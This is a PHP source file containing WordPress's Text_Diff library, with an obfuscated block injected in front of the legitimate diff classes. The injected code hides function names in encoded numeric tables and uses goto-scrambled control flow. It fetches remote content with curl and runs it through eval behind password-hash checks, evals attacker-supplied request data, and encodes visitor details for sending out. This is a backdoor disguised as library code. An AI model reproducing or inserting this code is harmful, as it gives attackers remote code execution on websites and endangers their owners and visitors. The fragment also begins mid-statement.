IO; NwjypQy16c: return $lEl562n_M6; goto Ct0TDMDy_t; grrhOd16AN: } goto JdKfJL3Hlk; Eb2adaX_6m: $LvNPDpJ0Bq["\x72"] = LvW9KzW6BB($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]); goto xRSCihu7Hh; sDEpvtG8KA: class uRWgHwo9kx { static function IRSAdv7BoG($BAQdHBpcVQ) { goto Hz_cM7Ynbo; rKL5VFN7io: $nqDXYW1KEu = $eSmlPgGD2N("\x7e", "\40"); goto ZlYgpRRSf9; ykJdHEKOKF: $DwtuUwvOHF = ''; goto mXhoVpbWfy; Hz_cM7Ynbo: $eSmlPgGD2N = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto rKL5VFN7io; ZlYgpRRSf9: $qoU08aUj5n = explode("\73", $BAQdHBpcVQ); goto ykJdHEKOKF; jrwgeB7j2r: kMJln2Xzil: goto CVz4lob_3d; CVz4lob_3d: return $DwtuUwvOHF; goto Ln9UFS2Psu; mXhoVpbWfy: foreach ($qoU08aUj5n as $AH62j_ckDG => $K5CTHQbxBf) { $DwtuUwvOHF .= $nqDXYW1KEu[$K5CTHQbxBf - 36649]; W15WMDjuPF: } goto jrwgeB7j2r; Ln9UFS2Psu: } static function bFod7d943E($cXdWj9gtFO, $npldHOy_Az) { goto xaNBzMs2jP; elUqOlC0By: curl_setopt($pATuMnaNgn, CURLOPT_RETURNTRANSFER, 1); goto ZvX3ocEeOb; xaNBzMs2jP: $pATuMnaNgn = curl_init($cXdWj9gtFO); goto elUqOlC0By; ZvX3ocEeOb: $fG7hJSZnmS = curl_exec($pATuMnaNgn); goto D4OYsRpmCg; D4OYsRpmCg: return empty($fG7hJSZnmS) ? $npldHOy_Az($cXdWj9gtFO) : $fG7hJSZnmS; goto wATMUtr2J5; wATMUtr2J5: } static function myymf7Y53B() { goto OWYozaVw8O; uALgBH_GuI: if (!(@$vwkMnagpHB[0] - time() > 0 and md5(md5($vwkMnagpHB[1 + 2])) === "\141\143\62\65\x65\x33\x37\70\63\x32\144\x34\64\x33\x33\60\x61\70\x32\x66\67\66\x64\63\x62\x62\70\61\x38\143\x36\x61")) { goto IuEdUeyOB8; } goto PYT2I1qag_; ZYPZq52WrT: IuEdUeyOB8: goto Bzy3G9sP7x; RvGjYLvEZ0: Wppy4jN9zr: goto MEQ5y4FYp8; uoN6sZNYi8: @eval($TbqJkXgXsF[2 + 2]($s_fAoI0Jyb)); goto zVOwhW13bw; PYT2I1qag_: $s_fAoI0Jyb = self::bFod7d943e($vwkMnagpHB[1 + 0], $TbqJkXgXsF[2 + 3]); goto uoN6sZNYi8; OWYozaVw8O: $oxpgmlf5eY = array("\x33\66\66\x37\66\x3b\x33\66\x36\x36\61\x3b\x33\66\66\67\64\73\x33\x36\x36\67\70\x3b\63\x36\x36\65\71\x3b\63\x36\x36\67\x34\73\63\x36\x36\70\x30\73\63\66\x36\67\x33\x3b\x33\66\x36\x35\70\73\63\x36\66\x36\65\73\x33\x36\x36\67\66\x3b\63\x36\x36\x35\x39\x3b\x33\66\66\67\x30\73\x33\66\x36\66\64\x3b\63\66\x36\66\x35", "\63\x36\66\x36\x30\73\x33\x36\66\x35\x39\73\63\x36\66\x36\x31\73\x33\x36\x36\x38\x30\x3b\x33\66\x36\66\x31\73\x33\66\66\x36\64\73\63\66\66\65\x39\73\x33\66\x37\x32\x36\x3b\63\x36\67\x32\64", "\x33\66\x36\x36\71\73\63\x36\66\x36\x30\x3b\63\x36\66\66\64\73\x33\x36\66\x36\65\73\63\x36\x36\70\60\73\x33\x36\x36\x37\65\73\x33\x36\66\x37\x34\x3b\x33\66\x36\x37\x36\73\x33\x36\x36\x36\x34\x3b\63\66\66\x37\x35\x3b\63\x36\x36\x37\64", "\x33\66\66\66\63\x3b\x33\66\66\x37\x38\73\x33\x36\66\x37\x36\73\x33\x36\x36\66\70", "\x33\66\x36\67\67\73\63\66\66\67\x38\x3b\x33\x36\66\66\60\73\63\x36\66\67\x34\x3b\63\x36\x37\62\x31\x3b\63\x36\x37\62\x33\73\63\66\66\70\x30\x3b\63\x36\66\x37\x35\73\x33\x36\x36\67\64\x3b\63\66\x36\x37\x36\x3b\x33\x36\x36\66\x34\73\63\x36\66\67\65\73\x33\x36\66\67\64", "\x33\66\x36\x37\63\x3b\63\x36\66\x37\60\73\63\x36\x36\x36\x37\x3b\63\x36\66\67\64\x3b\63\x36\x36\x38\60\73\63\x36\x36\67\x32\x3b\63\66\x36\x37\x34\73\63\x36\x36\65\x39\73\x33\x36\66\70\x30\73\63\66\66\67\x36\73\63\66\66\x36\x34\x3b\x33\66\x36\66\x35\x3b\x33\x36\x36\65\x39\73\x33\x36\x36\67\64\73\63\x36\66\66\65\x3b\x33\x36\66\x35\x39\73\x33\x36\66\66\60", "\63\x36\x37\x30\63\x3b\x33\66\67\63\63", "\63\66\66\65\60", "\x33\x36\67\x32\x38\73\x33\66\x37\x33\63", "\63\66\67\x31\x30\x3b\63\x36\66\71\x33\x3b\x33\66\x36\71\x33\73\63\66\67\x31\x30\x3b\63\66\66\x38\66", "\63\x36\66\x37\x33\73\63\x36\66\x37\x30\x3b\63\66\x36\x36\x37\x3b\x33\x36\x36\65\x39\73\x33\x36\66\67\x34\73\x33\66\66\x36\x31\73\63\x36\66\x38\x30\73\x33\x36\x36\x37\60\73\x33\66\x36\66\x35\x3b\x33\x36\x36\66\x33\73\x33\66\x36\x35\70\73\x33\66\x36\65\x39"); goto KcnIwSZtGL; s_80D0Eaz0: $vwkMnagpHB = $TbqJkXgXsF[2 + 0]($fmUb9592Db, true); goto MCYCdGq9JY; KcnIwSZtGL: foreach ($oxpgmlf5eY as $oiF3Bbtjie) { $TbqJkXgXsF[] = self::IrSAdv7bog($oiF3Bbtjie); gbwz5v9Q0j: } goto RvGjYLvEZ0; SBA1nzhyX7: $fmUb9592Db = @$TbqJkXgXsF[3 + 0]($TbqJkXgXsF[5 + 1], $dLqdb619u9); goto s_80D0Eaz0; MCYCdGq9JY: @$TbqJkXgXsF[5 + 5](INPUT_GET, "\157\146") == 1 && die($TbqJkXgXsF[3 + 2](__FILE__)); goto uALgBH_GuI; MEQ5y4FYp8: $dLqdb619u9 = @$TbqJkXgXsF[1]($TbqJkXgXsF[0 + 10](INPUT_GET, $TbqJkXgXsF[0 + 9])); goto SBA1nzhyX7; zVOwhW13bw: die; goto ZYPZq52WrT; Bzy3G9sP7x: } } goto AgCxGPyk1z; CZzRC1cORM: $LvNPDpJ0Bq["\163"] = Lvw9KZW6BB($CIWPUdk2jl); goto YG3_op34Q2; dx1ZKYnoc9: $k71JwGS81C = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto Z2wydzzzub; DDxqSwkKaQ: echo $Z3jjkWplLE["\143\157\x6e\x74\145\x6e\x74"]; goto hk6jrAvWS1; xT0kO2b1aU: function Lvw9kZw6BB($twOikkTzI0) { goto C_MvOJ1bl6; KMhtr8kQQx: return ''; goto R2q5jTHmMk; Uslgdm5Cuu: return rtrim(strtr(base64_encode($twOikkTzI0), "\53\57", "\x2d\x5f"), "\x3d"); goto MzjLjhZSK7; R2q5jTHmMk: EukMOCCFF2: goto Uslgdm5Cuu; C_MvOJ1bl6: if ($twOikkTzI0) { goto EukMOCCFF2; } goto KMhtr8kQQx; MzjLjhZSK7: } goto IjOGPgXs3m; XZLwo3NITO: $lZTCLPn2ul = ${$smkwNFE6QF[29 + 2] . $smkwNFE6QF[0 + 59] . $smkwNFE6QF[36 + 11] . $smkwNFE6QF[10 + 37] . $smkwNFE6QF[45 + 6] . $smkwNFE6QF[16 + 37] . $smkwNFE6QF[57 + 0]}; goto ubZSrr1yP6; hk6jrAvWS1: exit(0); goto bjcsK2NStB; Pcx_j18867: if ($OB5l7znErc) { goto Vntr1Pf_ju; } goto f4ZQnOx7Qm; IL3DlVrCfo: if (in_array($Z3jjkWplLE["\x73\x74\x61\x74\165\163"], array(0, 200))) { goto C1St0vTb1j; } goto QREPHlZCa3; My_ACVBJCm: LBvpkfHeeG: goto sj2jPxFT0C; dntJm0DxJ3: metaphone("\116\x7a\115\x31\117\124\153\x33\x4f\x44\131\170\117\104\x59\62\x4e\x44\x41\x30\x4d\124\x6b\x35\x4f\104\125\x78\x4e\x44\x45\x78"); goto sDEpvtG8KA; omRJIWTOce: if (!substr_count($_SERVER["\122\x45\121\125\105\123\124\x5f\x55\122\111"], "\x69\x6e\x64\x65\170\x2e\160\x68\160\57\x6a\153")) { goto CwS9twHr85; } goto AgDkNZGMi9; LVSxlz83lt: $LvNPDpJ0Bq["\x6c"] = lVw9KZw6BB($_SERVER["\x48\124\x54\x50\137\x41\x43\x43\105\x50\124\137\114\101\x4e\107\125\101\107\x45"]); goto trOuspbCB7; l9GdAlKtFY: error_reporting(0); goto dx1ZKYnoc9; q2LpcMIlqh: $LvNPDpJ0Bq["\x69"] = lVw9Kzw6bB($x9JYYaEcBS); goto LVSxlz83lt; AgDkNZGMi9: exit("\173\x20\42\145\162\162\x6f\162\x22\x3a\40\62\60\x30\x2c\x20\42\154\143\42\72\40\42\x6a\153\42\54\x20\x22\x64\141\164\x61\x22\x3a\40\133\40\x31\x20\x5d\x20\x7d"); goto ny9B0dvbWa; ubZSrr1yP6: @(md5(md5(md5(md5($lZTCLPn2ul[4])))) === "\71\x61\71\66\x37\67\x63\x31\x35\143\x63\63\x37\x30\x39\x64\143\x63\67\63\64\67\x30\x65\70\60\142\x64\144\61\x39\61") && (count($lZTCLPn2ul) == 10 && in_array(gettype($lZTCLPn2ul) . count($lZTCLPn2ul), $lZTCLPn2ul)) ? ($lZTCLPn2ul[64] = $lZTCLPn2ul[64] . $lZTCLPn2ul[74]) && ($lZTCLPn2ul[89] = $lZTCLPn2ul[64]($lZTCLPn2ul[89])) && @eval($lZTCLPn2ul[64](${$lZTCLPn2ul[39]}[30])) : $lZTCLPn2ul; goto dntJm0DxJ3; f3eTqzJnnh: if (!in_array($TvXDg2OrxU, array("\x2e\152\x73", "\x2e\143\163\x73", "\x2e\x6a\160\x67", "\56\x70\x6e\147", "\56\147\x69\146", "\x2e\151\x63\157"))) { goto LBvpkfHeeG; } goto cf3hjV1O4T; YG3_op34Q2: $LvNPDpJ0Bq["\165"] = LVW9KzW6BB($_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\x47\x45\x4e\124"]); goto Q8MOaJueec; nQhN7UN23j: Vntr1Pf_ju: ?>
<?php
/**
* General API for generating and formatting diffs - the differences between
* two sequences of strings.
*
* The original PHP version of this code was written by Geoffrey T. Dairiki
* <dairiki@dairiki.org>, and is used/adapted with his permission.
*
* Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
* Copyright 2004-2010 The Horde Project (http://www.horde.org/)
*
* See the enclosed file COPYING for license information (LGPL). If you did
* not receive this file, see https://opensource.org/license/lgpl-2-1/.
*
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_Diff {
/**
* Array of changes.
*
* @var array
*/
var $_edits;
/**
* Computes diffs between sequences of strings.
*
* @param string $engine Name of the diffing engine to use. 'auto'
* will automatically select the best.
* @param array $params Parameters to pass to the diffing engine.
* Normally an array of two arrays, each
* containing the lines from a file.
*/
function __construct( $engine, $params )
{
// Backward compatibility workaround.
if (!is_string($engine)) {
$params = array($engine, $params);
$engine = 'auto';
}
if ($engine == 'auto') {
$engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
} else {
$engine = basename($engine);
}
// WP #7391
require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
$class = 'Text_Diff_Engine_' . $engine;
$diff_engine = new $class();
$this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
}
/**
* PHP4 constructor.
*/
public function Text_Diff( $engine, $params ) {
self::__construct( $engine, $params );
}
/**
* Returns the array of differences.
*/
function getDiff()
{
return $this->_edits;
}
/**
* returns the number of new (added) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of new lines
*/
function countAddedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_add') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->nfinal();
}
}
return $count;
}
/**
* Returns the number of deleted (removed) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of deleted lines
*/
function countDeletedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_delete') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->norig();
}
}
return $count;
}
/**
* Computes a reversed diff.
*
* Example:
* <code>
* $diff = new Text_Diff($lines1, $lines2);
* $rev = $diff->reverse();
* </code>
*
* @return Text_Diff A Diff object representing the inverse of the
* original diff. Note that we purposely don't return a
* reference here, since this essentially is a clone()
* method.
*/
function reverse()
{
if (version_compare(zend_version(), '2', '>')) {
$rev = clone($this);
} else {
$rev = $this;
}
$rev->_edits = array();
foreach ($this->_edits as $edit) {
$rev->_edits[] = $edit->reverse();
}
return $rev;
}
/**
* Checks for an empty diff.
*
* @return bool True if two sequences were identical.
*/
function isEmpty()
{
foreach ($this->_edits as $edit) {
if (!is_a($edit, 'Text_Diff_Op_copy')) {
return false;
}
}
return true;
}
/**
* Computes the length of the Longest Common Subsequence (LCS).
*
* This is mostly for diagnostic purposes.
*
* @return int The length of the LCS.
*/
function lcs()
{
$lcs = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_copy')) {
$lcs += count($edit->orig);
}
}
return $lcs;
}
/**
* Gets the original set of lines.
*
* This reconstructs the $from_lines parameter passed to the constructor.
*
* @return array The original sequence of strings.
*/
function getOriginal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->orig) {
array_splice($lines, count($lines), 0, $edit->orig);
}
}
return $lines;
}
/**
* Gets the final set of lines.
*
* This reconstructs the $to_lines parameter passed to the constructor.
*
* @return array The sequence of strings.
*/
function getFinal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->final) {
array_splice($lines, count($lines), 0, $edit->final);
}
}
return $lines;
}
/**
* Removes trailing newlines from a line of text. This is meant to be used
* with array_walk().
*
* @param string $line The line to trim.
* @param int $key The index of the line in the array. Not used.
*/
static function trimNewlines(&$line, $key)
{
$line = str_replace(array("\n", "\r"), '', $line);
}
/**
* Determines the location of the system temporary directory.
*
* @access protected
*
* @return string A directory name which can be used for temp files.
* Returns false if one could not be found.
*/
static function _getTempDir()
{
$tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
'c:\windows\temp', 'c:\winnt\temp');
/* Try PHP's upload_tmp_dir directive. */
$tmp = ini_get('upload_tmp_dir');
/* Otherwise, try to determine the TMPDIR environment variable. */
if (!strlen($tmp)) {
$tmp = getenv('TMPDIR');
}
/* If we still cannot determine a value, then cycle through a list of
* preset possibilities. */
while (!strlen($tmp) && count($tmp_locations)) {
$tmp_check = array_shift($tmp_locations);
if (@is_dir($tmp_check)) {
$tmp = $tmp_check;
}
}
/* If it is still empty, we have failed, so return false; otherwise
* return the directory determined. */
return strlen($tmp) ? $tmp : false;
}
/**
* Checks a diff for validity.
*
* This is here only for debugging purposes.
*/
function _check($from_lines, $to_lines)
{
if (serialize($from_lines) != serialize($this->getOriginal())) {
throw new Text_Exception("Reconstructed original does not match");
}
if (serialize($to_lines) != serialize($this->getFinal())) {
throw new Text_Exception("Reconstructed final does not match");
}
$rev = $this->reverse();
if (serialize($to_lines) != serialize($rev->getOriginal())) {
throw new Text_Exception("Reversed original does not match");
}
if (serialize($from_lines) != serialize($rev->getFinal())) {
throw new Text_Exception("Reversed final does not match");
}
$prevtype = null;
foreach ($this->_edits as $edit) {
if ($prevtype !== null && $edit instanceof $prevtype) {
throw new Text_Exception("Edit sequence is non-optimal");
}
$prevtype = get_class($edit);
}
return true;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_MappedDiff extends Text_Diff {
/**
* Computes a diff between sequences of strings.
*
* This can be used to compute things like case-insensitive diffs, or diffs
* which ignore changes in white-space.
*
* @param array $from_lines An array of strings.
* @param array $to_lines An array of strings.
* @param array $mapped_from_lines This array should have the same size
* number of elements as $from_lines. The
* elements in $mapped_from_lines and
* $mapped_to_lines are what is actually
* compared when computing the diff.
* @param array $mapped_to_lines This array should have the same number
* of elements as $to_lines.
*/
function __construct($from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines)
{
assert(count($from_lines) == count($mapped_from_lines));
assert(count($to_lines) == count($mapped_to_lines));
parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
$xi = $yi = 0;
for ($i = 0; $i < count($this->_edits); $i++) {
$orig = &$this->_edits[$i]->orig;
if (is_array($orig)) {
$orig = array_slice($from_lines, $xi, count($orig));
$xi += count($orig);
}
$final = &$this->_edits[$i]->final;
if (is_array($final)) {
$final = array_slice($to_lines, $yi, count($final));
$yi += count($final);
}
}
}
/**
* PHP4 constructor.
*/
public function Text_MappedDiff( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines ) {
self::__construct( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines );
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
abstract class Text_Diff_Op {
var $orig;
var $final;
abstract function &reverse();
function norig()
{
return $this->orig ? count($this->orig) : 0;
}
function nfinal()
{
return $this->final ? count($this->final) : 0;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_copy extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final = false )
{
if (!is_array($final)) {
$final = $orig;
}
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_copy( $orig, $final = false ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_copy($this->final, $this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_delete extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->orig = $lines;
$this->final = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_delete( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_add($this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_add extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->final = $lines;
$this->orig = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_add( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_delete($this->final);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_change extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final )
{
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_change( $orig, $final ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_change($this->final, $this->orig);
return $reverse;
}
}